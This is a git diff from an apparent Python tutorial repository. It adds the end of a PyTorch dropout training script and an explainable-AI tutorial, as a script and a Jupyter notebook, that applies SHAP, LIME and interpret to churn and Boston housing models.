F.relu(self.fc1(x)) + x = self.do2(x) + x = F.relu(self.fc2(x)) + x = self.do3(x) + x = self.fc3(x) + return x + + +net_dropout = NetDropout() +net_dropout.to(device) + +import torch.optim as optim + +criterion = nn.CrossEntropyLoss() +optimizer = optim.SGD(net_dropout.parameters(), lr=0.001, momentum=0.9) + +training_loss_d, testing_loss_d = [], [] +running_loss = [] +i = 0 +for epoch in range(150): # 10 epochs + for data in train_loader: + inputs, labels = data + # get the data to GPU (if available) + inputs, labels = inputs.to(device), labels.to(device) + + optimizer.zero_grad() + # forward pass + outputs = net_dropout(inputs) + # backward pass + loss = criterion(outputs, labels) + loss.backward() + # update gradients + optimizer.step() + running_loss.append(loss.item()) + i += 1 + if i % 1000 == 0: + avg_train_loss = sum(running_loss) / len(running_loss) + avg_test_loss = get_test_loss(net_dropout, criterion, test_loader) + # clear the list + running_loss.clear() + # for logging & plotting later + training_loss_d.append(avg_train_loss) + testing_loss_d.append(avg_test_loss) + print(f"[{epoch:2d}] [it={i:5d}] Train Loss: {avg_train_loss:.3f}, Test Loss: {avg_test_loss:.3f}") + + +print("Done training.") + +import matplotlib.pyplot as plt + +# plot both benchmarks +plt.plot(testing_loss, label="no dropout") +plt.plot(testing_loss_d, label="with dropout") +# make the legend on the plot +plt.legend() +plt.title("The Cross-entropy loss of the MNIST test data with and w/o Dropout") +plt.show() + +import time + +while True: + time.sleep(30) \ No newline at end of file diff --git a/machine-learning/dropout-in-pytorch/requirements.txt b/machine-learning/dropout-in-pytorch/requirements.txt new file mode 100644 index 00000000..875ecbd6 --- /dev/null +++ b/machine-learning/dropout-in-pytorch/requirements.txt @@ -0,0 +1,4 @@ +matplotlib==3.4.3 +numpy==1.21.5 +torch==1.10.1 +torchvision \ No newline at end of file diff --git a/machine-learning/explainable-ai/README.md b/machine-learning/explainable-ai/README.md new file mode 100644 index 00000000..6f6a6414 --- /dev/null +++ b/machine-learning/explainable-ai/README.md @@ -0,0 +1 @@ +# [A Guide to Explainable AI Using Python](https://www.thepythoncode.com/article/explainable-ai-model-python) \ No newline at end of file diff --git a/machine-learning/explainable-ai/explainable_ai.py b/machine-learning/explainable-ai/explainable_ai.py new file mode 100644 index 00000000..5bc411fd --- /dev/null +++ b/machine-learning/explainable-ai/explainable_ai.py @@ -0,0 +1,487 @@ +# %% [markdown] +# ## Explaining Logistic Regression Moel with SHAP +# Logistic regression is often used to predict the probability of binary or multinomial outcomes. it can be multinomial(where more than two outcomes are also possible). +# Class separation is complex in a multinomial class classification model. +# A logistic regression model assumes a logarithmic relationship between the dependent and independent variables, while a linear regression model assumes a linear relationship. +# The variable of interest in many real-life settings is categorical: The purchase or non-purchase of a product, the approval or non-approval of a credit card, or the cancerousness of a tumor. +# Logistic regression can estimate the likelihood of a case belonging to a specific level in the dependant variable. +# The logistic regression model can be explained using the following equation: +# {Formula] +# +# The outcome's log-odds are given by the formula Ln (P/1-P). +# According to the preceding equation's beta coefficients, the outcome variable's probabilities increase or decrease by one unit when the explanatory variable rises or falls. +# The interpretation of a logistic regression model differs significantly from the interpretation of a linear regression model. +# The right-hand side equation's weighted sum is turned into a probability value. The log-odds are used to describe the value on the left side of the equation. +# It is termed the log odds because it represents the ratio of an event occurring to the probability of an event not occurring. +# To comprehend the logistic regression model and how decisions are made, it is necessary to grasp the concepts of probabilities and odds. +# You'll utilize churndata.csv, a file in the telecommunications category with 3,333 entries and 18 distinct features. +# +#  +#   +#  +#   +#         + +# %% +!pip install shap +!pip install LIME +!pip install interpret-core + + +# %% +#mount drive +%cd .. +from google.colab import drive +drive.mount('/content/gdrive') + +# Execute the following command to build a symbolic link, so that the path /content/gdrive/My Drive/ is now equivalent to /mydrive. +!ln -s /content/gdrive/My\ Drive/ /mydrive + +# list the contents of /mydrive +!ls /mydrive + +#Navigate to /mydrive/churn +%cd /mydrive/churn/ + +# %% +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +%matplotlib inline +from sklearn.linear_model import LogisticRegression, LogisticRegressionCV +from sklearn.metrics import confusion_matrix, classification_report +from sklearn.preprocessing import LabelEncoder +from sklearn.model_selection import train_test_split +from sklearn.linear_model import LinearRegression +import interpret.glassbox +import xgboost +import shap +import lime +import lime.lime_tabular +import sklearn +import warnings +warnings.filterwarnings('ignore') + +# %% [markdown] +# As a first stage, you get the data, then convert specific features already in string format using a label encoder. +# You divide the data into 80 percent for training and 20 percent for testing following the transformation. +# To keep the classes balanced, maintain the percentage of churn and no-churn cases while generating the train/test split. +# The model is then trained, and the learned model is applied to the test data. + +# %% +data = pd.read_csv('/mydrive/churn/Telecom_Train.csv') +data.head() + +# %% +del data['Unnamed: 0'] ## delete Unnamed: 0 +le = LabelEncoder() ## perform label encoding +data['area_code_tr'] = le.fit_transform(data['area_code']) +del data['area_code'] ## delete area_code +data['churn_dum'] = pd.get_dummies(data. +churn,prefix='churn',drop_first=True) +del data['international_plan'] ## delete international_plan +del data['voice_mail_plan'] ## delete voice_mail_plan +del data['churn'] ## delete churn +data.info() +data.columns + +# %% +X = data[['account_length', 'number_vmail_messages', 'total_day_minutes', +'total_day_calls', 'total_day_charge', 'total_eve_minutes', +'total_eve_calls', 'total_eve_charge', 'total_night_minutes', +'total_night_calls', 'total_night_charge', 'total_intl_minutes', +'total_intl_calls', 'total_intl_charge', +'number_customer_service_calls', 'area_code_tr']] +Y = data['churn_dum'] +xtrain,xtest,ytrain,ytest=train_test_split(X,Y,test_size=0.20,stratify=Y) +l_model = LogisticRegression(max_iter=10000) +l_model.fit(xtrain,ytrain) +print("training accuracy:", l_model.score(xtrain,ytrain)) #training accuracy +print("test accuracy:",l_model.score(xtest,ytest)) # test accuracy + + +# %% +print(np.round(l_model.coef_,2))## Coeffiscient +print(l_model.intercept_) ## intercept + +# %% [markdown] +# +# Only the area code is transformed. The remaining features are either integers or floating-point numbers to train the model. +# It's now possible to see how a prediction is made by examining the distribution of probabilities, the log odds, the odds ratios, and other model parameters. +# SHAP values may reveal strong interaction effects when used to explain the probability of a logistic regression model. +# + +# %% [markdown] +# The appropriate output may be generated using two new utility functions that you built and which can then be used in a visual representation of SHAP values. + +# %% +# Provide Probability as Output +def m_churn_proba(x): + return l_model.predict_proba(x)[:,1] +# Provide Log Odds as Output +def model_churn_log_odds(x): + p = l_model.predict_log_proba(x) + return p[:,1] - p[:,0] + +# %% [markdown] +# The partial dependency plot for the feature total day in minutes for record number 25 demonstrates a positive but not linear relationship between the function's probability value or predicted value and the feature. + +# %% +# make a standard partial dependence plot +sample_ind = 25 +fig,ax = shap.partial_dependence_plot( +"total_day_minutes", m_churn_proba, X, model_expected_value=True, +feature_expected_value=True, show=False, ice=False) + +# %% [markdown] +# Any machine learning model or Python function may be explained using Shapley values. This is the SHAP library's primary explainer interface. +# It accepts any model and masker combination and produces a callable subclass object that implements the selected estimate technique. + +# %% +# compute the SHAP values for the linear model +background_c = shap.maskers.Independent(X, max_samples=1000) ## Concealed features may be hidden by using this function. +explainer = shap.Explainer(l_model, background_c, +feature_names=list(X.columns)) +shap_values_c = explainer(X) +shap_values = pd.DataFrame(shap_values_c.values) +shap_values.columns = list(X.columns) +shap_values + +# %% [markdown] +# There is a strong, perfect linear relationship between account length and SHAP values of account length in the scatterplot. + +# %% +shap.plots.scatter(shap_values_c[:,'account_length']) + +# %% [markdown] +# This shows which characteristic is more important in the classification. +# Customers who have more complaints are more likely to call customer service and can churn at any time. +# Another factor is total day in minutes, followed by number of voicemail messages. Towards the end, the seven most minor significant features are grouped. +# +# The maximum absolute SHAP value for each feature is shown below; however, the two graphs are similar. +# A beeswarm graphic displays the SHAP value and its influence on model output. +# The heatmap display of SHAP values for hundreds of records illustrates the SHAP value density versus model features. +# The best feature has a high SHAP value, while the feature importance and SHAP value decline with time. + +# %% +# make a standard partial dependence plot +sample_ind = 25 +fig,ax = shap.partial_dependence_plot( +"number_vmail_messages", m_churn_proba, X, model_expected_value=True, +feature_expected_value=True, show=False, ice=False +) +shap_values_c.feature_names +# compute the SHAP values for the linear model +explainer_log_odds = shap.Explainer(l_model, background_c, +feature_n=list(X.columns)) +shap_values_churn_l = explainer_log_odds(X) +shap_values_churn_l +shap.plots.bar(shap_values_churn_l) + +# %% [markdown] +# +# The plot below illustrates how a SHAP bar plot will use the mean absolute value of each feature(by default) across all dataset occurrences (rows). + +# %% +shap.plots.bar(shap_values_churn_l) + +# %% [markdown] +# The below plot illustrates how utilizing the maximum absolute value highlights the number_customer_service_calls and total_intl_calls feature, which have infrequent but large magnitude impacts. + +# %% +shap.plots.bar(shap_values_churn_l.abs.max(0)) + +# %% [markdown] +# Beow, we can see the beeswarm plot that can be used to summarize the whole distribution of SHAP values for each feature. +# The dot's location on the x-axis indicates whether that attribute contributed positively or negatively to the prediction. +# This allows you to quickly determine if the feature is essentially flat for each forecast or significantly influences specific rows while having little impact on others. + +# %% +shap.plots.beeswarm(shap_values_churn_l) + +# %% [markdown] +# The below plot represents the frequency with which each feature gave SHAP values for instances utilized in the training procedure. + +# %% +shap.plots.heatmap(shap_values_churn_l[:1000]) + +# %% [markdown] +# ## LIME +# The SHAP values may be used to explain the logistic regression model. +# But the difficulty is time. +# With a million records, you need more time to construct all permutations and combinations to explain the local accuracy. +# LIME's explanation generation speed avoids this issue in huge dataset processing. +# +# Explanations are the result of the LIME framework. LIME includes three primary functionalities: +# +# - The image explainer interprets image classification models. +# - The text explainer gives insight into text-based models. +# - The tabular explainer determines how much a tabular dataset's features are evaluated throughout the classification process. +# +# +# Lime Tabular Explainer is required to explain tabular matrix data. The term "local" refers to the framework's analysis of individual data. It does not provide a comprehensive explanation for why the model performs, but instead describes how a given observation is classified. The user should be able to grasp what a model performs if it is interpretable. Thus, while dealing with image classification, it reveals which parts of the image it evaluated when making predictions, and when working with tabular data, it shows which features influence its choice. Model-agnostic means that it may be used to any blackbox algorithm that exists now or developed in the future. +# +# To generate a LIME output, we define the explanation as explainer.explain _instance and include the observation we picked above, the model.predict_proba, and 16 features, which show us which features are thought to be the most significant in predicting the target variable. +# +# The explaiser: +# +# The explainer itself is part of the LIME library and is presented in the preceding program. Because the explainer had no default settings, we had to specify all of the parameters manually. We first call our now-formatted dataset, followed by a list of all features in our dataset. +# +# - X_train = Training set +# - feature_names = Concatenated list of all feature names +# - class_names = Target values +# - Kernel width = Parameter to control the linearity of the induced model; the larger the width more linear is the model +# +# +# +# + +# %% +explainer = lime.lime_tabular.LimeTabularExplainer(np.array(xtrain), +feature_names=list(xtrain.columns), +class_names=['churn_dum'], +verbose=True, mode='classification') +# this record is a no churn scenario +expl = explainer.explain_instance(xtest.iloc[0], l_model.predict_proba, +num_features=16) +expl.as_list() + +# %% [markdown] +# Once the explainer model object is created, you may construct explanations by checking for individual and global predictions. +# In classification with two or more classes, you can produce different feature importances for each class in relation to the features column. +# +# For example, total_intl_minutes had a value lower than 8.50 lowered the score of +# the model by about 0.04. + +# %% +pd.DataFrame(expl.as_list()) + +# %% [markdown] +# Intercept 0.11796923846596004 +# Prediction_local [0.10779621] +# Right: 0.1242113883724509 + +# %% [markdown] +# Running the code produces the LIME output divided into three sections: prediction probabilities on the left, feature probabilities in the middle, and a feature-value table on the right. A graph of prediction probabilities indicates what the model thinks will happen and the related likelihood. There is an 91% chance that the customer will not churn, which is represented by the blue bar, and a 9% chance that he will churn, which is represented by the orange bar. +# +# The feature probability graph illustrates how much a feature impacts a specific choice. The variable number_customer_service_calls is the most influential component in this observation, and it confirms the forecast that the customer will not churn. The second most essential attribute is total_day_minutes. The last graph is the feature value table which displays the actual value of this feature in this observation. +# + +# %% +expl.show_in_notebook(show_table=True) + +# %% + + +# %% [markdown] +# Although LIME is simple and effective, it is not without flaws. It will be published in 2020 that the first theoretical examination of LIME confirms the importance and relevance of LIME, but it also shows that poor parameter selections might cause LIME to overlook important features. As a result, different interpretations of the same prediction may lead to deployment issues. DLIME, a deterministic variant of LIME, is suggested to overcome this uncertainty. Hierarchical clustering is used to group the data, and k-nearest neighbors (KNN) pick the cluster where the instance in question is thought to reside. + +# %% [markdown] +# ## Using SHAP for Ensemble Models +# we will use the popular Boston housing prices dataset to explain the model predictions in a regression use case scenario. +# The following are the +# variables from the Boston housing prices dataset: +# +# CRIM: Per capita crime rate by town +# +# • ZN: Proportion of residential land zoned for lots over 25,000 sq.ft. +# +# • INDUS: Proportion of non-retail business acres per town +# +# • CHAS: Charles River dummy variable (1 if tract bounds river; 0 +# otherwise) +# +# • NOX: Nitric oxide concentration (parts per 10 million) +# +# • RM: Average number of rooms per dwelling +# +# • AGE: Proportion of owner-occupied units built prior to 1940 +# +# • DIS: Weighted distances to five Boston employment centers +# +# • RAD: Index of accessibility to radial highways +# +# • TAX: Full value property tax rate per $10,000 +# +# • PTRATIO: Pupil-teacher ratio by town +# +# • B: 1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town +# +# • LSTAT: % lower status of the population +# +# • MEDV: Median value of owner-occupied homes in $1000s + +# %% +# boston Housing price +X,y = shap.datasets.boston() +X1000 = shap.utils.sample(X, 1000) # 1000 instances for use as the background distribution +# a simple linear model +m_del = sklearn.linear_model.LinearRegression() +m_del.fit(X, y) + +# %% [markdown] +# The Boston housing prices dataset is now part of the SHAP library. The base model calculation happens using the linear regression model so that you can perform the ensemble model on this dataset and compare the results. + +# %% +print("coefficients of the model:\n") +for i in range(X.shape[1]): + print(X.columns[i], "=", m_del.coef_[i].round(4)) + +# %% [markdown] +# The starting point is a model's coefficients. +# You'll then compare the coefficients in the complex ensemble models to those in the base linear model. Compare the explanations as well. +# Improved explainability is directly proportional to increased accuracy in prediction. + +# %% +shap.plots.partial_dependence( +"RM", m_del.predict, X1000, ice=False, +model_expected_value=True, feature_expected_value=True +) + +# %% [markdown] +# You may see the predicted median value of the housing price by looking at the horizontal dotted line E[f(x)]. +# There is a linear relationship between the RM feature and the model's predicted outcome. + +# %% +# SHAP values computation for the linear model +explainer1 = shap.Explainer(m_del.predict, X1000) +shap_values = explainer1(X) +# make a standard partial dependence plot +sample_ind = 18 +shap.partial_dependence_plot( +"RM", m_del.predict, X1000, model_expected_value=True, +feature_expected_value=True, ice=False, +shap_values=shap_values[sample_ind:sample_ind+1,:] +) + +# %% [markdown] +# From the above plot we can see that row number 18 from the dataset is superimposed on the PDP plot. +# RM's marginal contribution to the predicted value of the target column is illustrated by an upward-rising straight line in the picture above. +# The discrepancy between the expected value and the average predicted value is shown by the red line in the graph. + +# %% +X1000 = shap.utils.sample(X,100) +m_del.predict(X1000).mean() ## mean +m_del.predict(X1000).min() ## minimum +m_del.predict(X1000).max() ## maximum +shap_values[18:19,:] ## shap values +X[18:19] +m_del.predict(X[18:19]) +shap_values[18:19,:].values.sum() + shap_values[18:19,:].base_values + +# %% [markdown] +# The predicted outcome for record number 18 is 16.178, and the total of the SHAP values from various features, as well as the base value, is equal to the predicted value. +# From the below plot, SHAP values are generated using a linear model, which explains why the relationship is linear. +# You can expect the line to be non-linear if you switch to a non-linear model. + +# %% +shap.plots.scatter(shap_values[:,"RM"]) + +# %% [markdown] +# the plot below display the relationship between predicted result and SHAP values + +# %% +# the waterfall_plot +m_del.predict(X)[sample_ind] +shap.plots.waterfall(shap_values[sample_ind], max_display=13) + +# %% [markdown] +# The horizontal axis in the figure above displays the predicted result average value, which is 22.841, while the vertical axis shows the SHAP values from different features. +# The dataset's presumed values for each feature are represented in grey, while the negative SHAP values are shown in blue and the positive SHAP values are shown in red. The vertical axis also shows the predicted result for the 18th record, which is 16.178. + +# %% [markdown] +# ## Using the Interpret Explaining Boosting Model +# +# In this section, you will utilize generalized additive models (GAM) to forecast home prices. +# The model fitted using the SHAP library may be explained. +# The interpret Python package may be used to train the generalized additive model, and the trained model object can then be sent through the SHAP model to provide explanations for the boosting models. +# The interpret library can be installed three ways: +# +# !pip install interpret-core +# Using the pip install method, this is done without any dependencies. +# +# conda install -c interpretml interpret-core +# This is a distribution based on anaconda. You may install using the conda environment's terminal. +# +# git clone https://github.com/interpretml/interpret.git && cd interpret/scripts && make install-core +# GitHub is used to get this directly from the source. +# +# Glassbox models: The scikit-learn framework is used to build Glassbox models that are more interpretable while keeping the same degree of accuracy as the current sklearn library. Linear models, decision trees, decision rules, and boosting-based models are all supported. +# +# Blackbox explainers: An approximate explanation of the model's behavior and predictions is provided by blackbox explainers. +# These approaches may be used when none of the machine learning model's components can be interpreted. +# Shapely explanations, LIME explanations, partial dependency plots, and Morris sensitivity analysis may all be supported by these methods. +# + +# %% [markdown] +# To begin, import the glassbox module from interpret, then set up the explainable boosting regressor and fit the model. +# model ebm is the model object. + +# %% +# fit a GAM model to the data +m_ebm = interpret.glassbox.ExplainableBoostingRegressor() +m_ebm.fit(X, y) + +# %% [markdown] +# You will sample the training dataset to provide a backdrop for creating explanations using the SHAP package. +# In the SHAP explainer, you utilize m_ebm.predict and some samples to construct explanations. + +# %% +# GAM model with SHAP explanation +expl_ebm = shap.Explainer(m_ebm.predict, X1000) +shap_v_ebm = expl_ebm(X) + +# %% +# PDP with a single SHAP value +fig,ax = shap.partial_dependence_plot( +"RM", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False, +shap_values=shap_v_ebm[sample_ind:sample_ind+1,:] +) + +# %% [markdown] +# The boosting-based model is shown above . +# There is a non-linear relationship between the RM values and the forecasted target column, which is the average value of housing prices. As the red straight line indicates, we're explaining the same 18th record once again. + +# %% +shap.plots.scatter(shap_v_ebm[:,"RM"]) + +# %% [markdown] +# The relationship shown in the graph above is non-linear. +# At the start, the predicted value does not grow significantly as the RM increases, but beyond a particular stage, the SHAP value for RM climbs exponentially as the RM value increases. + +# %% [markdown] +# Here's another representation of the relationship between the SHAP and feature values, as seen in the figure below. + +# %% +# In order to get at explainer.expected_value, we use the waterfall_plot. +m_ebm.predict(X)[sample_ind] +shap.plots.beeswarm(shap_v_ebm, max_display=14) + +# %% [markdown] +# Non-linearity is seen in the below figure, where the extreme gradient boosting regression model is applied to explain ensemble models. + +# %% +# XGBoost model training +m_xgb = xgboost.XGBRegressor(n_estimators=100, max_depth=2).fit(X, y) +# the GAM model explanation with SHAP +expl_xgb = shap.Explainer(m_xgb, X1000) +shap_v_xgb = expl_xgb(X) +## PDP +fig,ax = shap.partial_dependence_plot( +"RM", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False, +shap_values=shap_v_ebm[sample_ind:sample_ind+1,:] +) + +# %% [markdown] +# A non-linear relationship between RM and the SHAP value of RM is seen in the figure below. + +# %% +shap.plots.scatter(shap_v_xgb[:,"RM"]) + +# %% [markdown] +# The graph below depicts the same non-linear relationship with an extra overlay of the RAD feature, demonstrating that the higher the RM value, the higher the RAD component, and vice versa. + +# %% +shap.plots.scatter(shap_v_xgb[:,"RM"], color=shap_values) + + diff --git a/machine-learning/explainable-ai/explainableai_PythonCodeTutorial.ipynb b/machine-learning/explainable-ai/explainableai_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..69e2e5d4 --- /dev/null +++ b/machine-learning/explainable-ai/explainableai_PythonCodeTutorial.ipynb @@ -0,0 +1,1138 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "AtYEGElhJxD7" + }, + "source": [ + "## Explaining Logistic Regression Moel with SHAP\n", + "Logistic regression is often used to predict the probability of binary or multinomial outcomes. it can be multinomial(where more than two outcomes are also possible).\n", + "Class separation is complex in a multinomial class classification model.\n", + "A logistic regression model assumes a logarithmic relationship between the dependent and independent variables, while a linear regression model assumes a linear relationship. \n", + "The variable of interest in many real-life settings is categorical: The purchase or non-purchase of a product, the approval or non-approval of a credit card, or the cancerousness of a tumor.\n", + "Logistic regression can estimate the likelihood of a case belonging to a specific level in the dependant variable. \n", + "The logistic regression model can be explained using the following equation:\n", + "{Formula]\n", + "\n", + "The outcome's log-odds are given by the formula Ln (P/1-P).\n", + "According to the preceding equation's beta coefficients, the outcome variable's probabilities increase or decrease by one unit when the explanatory variable rises or falls. \n", + "The interpretation of a logistic regression model differs significantly from the interpretation of a linear regression model.\n", + "The right-hand side equation's weighted sum is turned into a probability value. The log-odds are used to describe the value on the left side of the equation. \n", + "It is termed the log odds because it represents the ratio of an event occurring to the probability of an event not occurring.\n", + "To comprehend the logistic regression model and how decisions are made, it is necessary to grasp the concepts of probabilities and odds.\n", + "You'll utilize churndata.csv, a file in the telecommunications category with 3,333 entries and 18 distinct features. \n", + "\n", + "\u001e\n", + "\u001d \u001c\n", + "\u001b\n", + "\u001a \u0019\n", + "\u0018 \u0015 \u0017 \u0015 \u0017 \u0015 \u0017\u0016\u0017 \u0015" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "vBBUsHovAKG0", + "outputId": "3b8b2e45-0e73-4b97-92a3-1c5fb2d40990" + }, + "outputs": [], + "source": [ + "!pip install shap\n", + "!pip install LIME\n", + "!pip install interpret-core\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Tmb8im0uz-jg", + "outputId": "7c171c15-262c-41ab-adbc-4d76cce306fb" + }, + "outputs": [], + "source": [ + "#mount drive\n", + "%cd ..\n", + "from google.colab import drive\n", + "drive.mount('/content/gdrive')\n", + "\n", + "# Execute the following command to build a symbolic link, so that the path /content/gdrive/My Drive/ is now equivalent to /mydrive.\n", + "!ln -s /content/gdrive/My\\ Drive/ /mydrive\n", + "\n", + "# list the contents of /mydrive\n", + "!ls /mydrive\n", + "\n", + "#Navigate to /mydrive/churn\n", + "%cd /mydrive/churn/" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "a2Hkqgae0uoZ" + }, + "outputs": [], + "source": [ + "import pandas as pd\n", + "import numpy as np\n", + "import matplotlib.pyplot as plt\n", + "%matplotlib inline\n", + "from sklearn.linear_model import LogisticRegression, LogisticRegressionCV\n", + "from sklearn.metrics import confusion_matrix, classification_report\n", + "from sklearn.preprocessing import LabelEncoder\n", + "from sklearn.model_selection import train_test_split\n", + "from sklearn.linear_model import LinearRegression\n", + "import interpret.glassbox\n", + "import xgboost\n", + "import shap\n", + "import lime\n", + "import lime.lime_tabular\n", + "import sklearn\n", + "import warnings\n", + "warnings.filterwarnings('ignore')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "9KJPGokMgxak" + }, + "source": [ + "As a first stage, you get the data, then convert specific features already in string format using a label encoder.\n", + "You divide the data into 80 percent for training and 20 percent for testing following the transformation.\n", + "To keep the classes balanced, maintain the percentage of churn and no-churn cases while generating the train/test split.\n", + "The model is then trained, and the learned model is applied to the test data." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 317 + }, + "id": "tqEr4TGH0VXA", + "outputId": "838d3a0a-e0df-4bfe-b541-0e6af229c24c" + }, + "outputs": [], + "source": [ + "data = pd.read_csv('/mydrive/churn/Telecom_Train.csv')\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "9UnCJucE2RVC", + "outputId": "f4c60cc8-ec87-4922-cb85-a08c9bbba2e9" + }, + "outputs": [], + "source": [ + "del data['Unnamed: 0'] ## delete Unnamed: 0\n", + "le = LabelEncoder() ## perform label encoding\n", + "data['area_code_tr'] = le.fit_transform(data['area_code'])\n", + "del data['area_code'] ## delete area_code\n", + "data['churn_dum'] = pd.get_dummies(data.\n", + "churn,prefix='churn',drop_first=True)\n", + "del data['international_plan'] ## delete international_plan\n", + "del data['voice_mail_plan'] ## delete voice_mail_plan\n", + "del data['churn'] ## delete churn\n", + "data.info()\n", + "data.columns" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "17yMKddu9TmC", + "outputId": "b7c430f9-de01-4feb-df0f-6f26cc8ad5b3" + }, + "outputs": [], + "source": [ + "X = data[['account_length', 'number_vmail_messages', 'total_day_minutes',\n", + "'total_day_calls', 'total_day_charge', 'total_eve_minutes',\n", + "'total_eve_calls', 'total_eve_charge', 'total_night_minutes',\n", + "'total_night_calls', 'total_night_charge', 'total_intl_minutes',\n", + "'total_intl_calls', 'total_intl_charge',\n", + "'number_customer_service_calls', 'area_code_tr']]\n", + "Y = data['churn_dum']\n", + "xtrain,xtest,ytrain,ytest=train_test_split(X,Y,test_size=0.20,stratify=Y)\n", + "l_model = LogisticRegression(max_iter=10000)\n", + "l_model.fit(xtrain,ytrain)\n", + "print(\"training accuracy:\", l_model.score(xtrain,ytrain)) #training accuracy\n", + "print(\"test accuracy:\",l_model.score(xtest,ytest)) # test accuracy\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "t5BZjb6_-4FB", + "outputId": "9f0050a2-4dd4-44f2-e9fd-1f66ec4f59d1" + }, + "outputs": [], + "source": [ + "print(np.round(l_model.coef_,2))## Coeffiscient \n", + "print(l_model.intercept_) ## intercept" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "TwmC-dR4kSCu" + }, + "source": [ + "\n", + "Only the area code is transformed. The remaining features are either integers or floating-point numbers to train the model.\n", + "It's now possible to see how a prediction is made by examining the distribution of probabilities, the log odds, the odds ratios, and other model parameters.\n", + "SHAP values may reveal strong interaction effects when used to explain the probability of a logistic regression model.\n" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "1x80UP8ApJA8" + }, + "source": [ + "The appropriate output may be generated using two new utility functions that you built and which can then be used in a visual representation of SHAP values. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "UzhUJilF_Ctz" + }, + "outputs": [], + "source": [ + "# Provide Probability as Output\n", + "def m_churn_proba(x):\n", + " return l_model.predict_proba(x)[:,1]\n", + "# Provide Log Odds as Output\n", + "def model_churn_log_odds(x):\n", + " p = l_model.predict_log_proba(x)\n", + " return p[:,1] - p[:,0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "uVwjfxjxraJS" + }, + "source": [ + "The partial dependency plot for the feature total day in minutes for record number 25 demonstrates a positive but not linear relationship between the function's probability value or predicted value and the feature." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 297 + }, + "id": "BJhJtksK_1zI", + "outputId": "7dffb185-d950-4820-981a-c884a7826327" + }, + "outputs": [], + "source": [ + "# make a standard partial dependence plot\n", + "sample_ind = 25\n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"total_day_minutes\", m_churn_proba, X, model_expected_value=True,\n", + "feature_expected_value=True, show=False, ice=False)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "ikgr7fY9yRNm" + }, + "source": [ + "Any machine learning model or Python function may be explained using Shapley values. This is the SHAP library's primary explainer interface.\n", + "It accepts any model and masker combination and produces a callable subclass object that implements the selected estimate technique. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 488 + }, + "id": "jdXR8EFUEQTB", + "outputId": "4072721a-cce2-4a09-a3d6-cbf777d13bd6" + }, + "outputs": [], + "source": [ + "# compute the SHAP values for the linear model\n", + "background_c = shap.maskers.Independent(X, max_samples=1000) ## Concealed features may be hidden by using this function. \n", + "explainer = shap.Explainer(l_model, background_c,\n", + "feature_names=list(X.columns))\n", + "shap_values_c = explainer(X)\n", + "shap_values = pd.DataFrame(shap_values_c.values)\n", + "shap_values.columns = list(X.columns)\n", + "shap_values" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "unI6Yvg-0RP5" + }, + "source": [ + "There is a strong, perfect linear relationship between account length and SHAP values of account length in the scatterplot. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "vOyB_89E0Y74", + "outputId": "f5395f45-6416-4ad0-cb23-a8704cc3bfe3" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_values_c[:,'account_length'])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "L5R4wK_T35ya" + }, + "source": [ + "This shows which characteristic is more important in the classification.\n", + "Customers who have more complaints are more likely to call customer service and can churn at any time.\n", + "Another factor is total day in minutes, followed by number of voicemail messages. Towards the end, the seven most minor significant features are grouped.\n", + "\n", + "The maximum absolute SHAP value for each feature is shown below; however, the two graphs are similar.\n", + "A beeswarm graphic displays the SHAP value and its influence on model output.\n", + "The heatmap display of SHAP values for hundreds of records illustrates the SHAP value density versus model features.\n", + "The best feature has a high SHAP value, while the feature importance and SHAP value decline with time. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433 + }, + "id": "HuV_l28DEwc3", + "outputId": "b0998e8d-4bca-4acf-959d-2a918a31fecb" + }, + "outputs": [], + "source": [ + "# make a standard partial dependence plot\n", + "sample_ind = 25\n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"number_vmail_messages\", m_churn_proba, X, model_expected_value=True,\n", + "feature_expected_value=True, show=False, ice=False\n", + ")\n", + "shap_values_c.feature_names\n", + "# compute the SHAP values for the linear model\n", + "explainer_log_odds = shap.Explainer(l_model, background_c,\n", + "feature_n=list(X.columns))\n", + "shap_values_churn_l = explainer_log_odds(X)\n", + "shap_values_churn_l\n", + "shap.plots.bar(shap_values_churn_l)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "M3bOwnoJ9AKC" + }, + "source": [ + "\n", + "The plot below illustrates how a SHAP bar plot will use the mean absolute value of each feature(by default) across all dataset occurrences (rows)." + ] 